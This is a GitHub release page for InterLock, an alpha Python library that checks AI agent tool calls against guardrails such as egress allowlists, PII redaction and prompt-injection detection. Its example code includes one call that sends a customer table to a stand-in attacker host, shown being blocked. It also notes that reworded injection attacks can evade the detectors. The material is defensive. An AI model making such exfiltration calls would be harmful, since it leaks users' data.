Repository navigation
Releases
Releases · SourceShift/InterLock
v0.0.1 — alpha: in-process guardrails for AI agents
interlock decides on every tool call your AI agent makes — inside the agent's own process, before anything runs — and allows, blocks, or rewrites it. No proxy, no account, no network calls, no dependencies.
This is the first tagged release. It is alpha: the core API is stable and covered by over 2,300 tests, but expect the surface to move before 1.0. Not yet published to PyPI or npm — install from GitHub.
Install
pip install "git+https://github.com/SourceShift/InterLock.git"One-minute example
import interlock
from interlock import Blocked, guard
from interlock.detectors import network_egress_guard, pii_redaction_guard
@guard()
def http_post(url: str, body: str) -> str:
return f"posted to {url}: {body}"
interlock.install(rules=[
network_egress_guard(allowed_hosts=["api.acme.com"]), # only trusted hosts
pii_redaction_guard(), # mask secrets and PII
])
# allowed, with the card number masked
http_post("https://api.acme.com/notes", "Card on file: 4111 1111 1111 1111")
# -> "posted to https://api.acme.com/notes: Card on file: [REDACTED CREDIT_CARD]"
# never runs
http_post("https://evil.example/collect", "the whole customer table")
# -> raises BlockedWhat's in this release
- Three verdicts, not two. Allow, block, or rewrite — mask a secret, cap an amount, force a dry run — so safety doesn't always cost you the task.
- Result checking. Instructions injected through tool output (a web page, an email, a document) are stopped before the agent reads them.
- 105 detectors: prompt injection, SQL and shell injection, secret and PII redaction, SSRF, network egress, MCP server trust, budgets, and loops. See the detector catalog.
- MCP trust: allowlist servers, pin tool schemas, catch changed tool listings, issue time-limited capability grants.
- Scopes: per-tenant and per-agent policy trees, with sub-agents unable to exceed their parent, plus an optional native accelerator (
interlock_scopes, Rust) that resolves identically to the pure-Python fallback. - Audit log: chained, signed receipts of every decision; arguments hashed, not stored.
- BRACE sandbox: runs subprocesses under bubblewrap (Linux) or Seatbelt (macOS), generated from the same policy.
- Node.js client: the
interlock-guardnpm package andinterlock-sidecardaemon apply the same Python policy to JS agents. - Integrations: MCP client sessions, LangChain tools, and generic OpenAI / Anthropic tool loops.
Know the limits
interlock is a strong layer, not a complete defence. The ones that matter most:
- No rules installed means everything is allowed. Assert at startup that your rules loaded.
- Blocking a result doesn't undo the tool. Side effects stand; a block only keeps the output from your agent.
- Detectors match patterns, not meaning. A reworded attack can get past them — allowlists don't have this weakness.
- It trusts your agent's code, not its decisions. Malicious code in the same process can bypass it. Run untrusted code in the sandbox.
The full list, including the settings that weaken protection, is in the security model.
Docs
Getting started · Concepts · Docs index
Full release history: CHANGELOG.md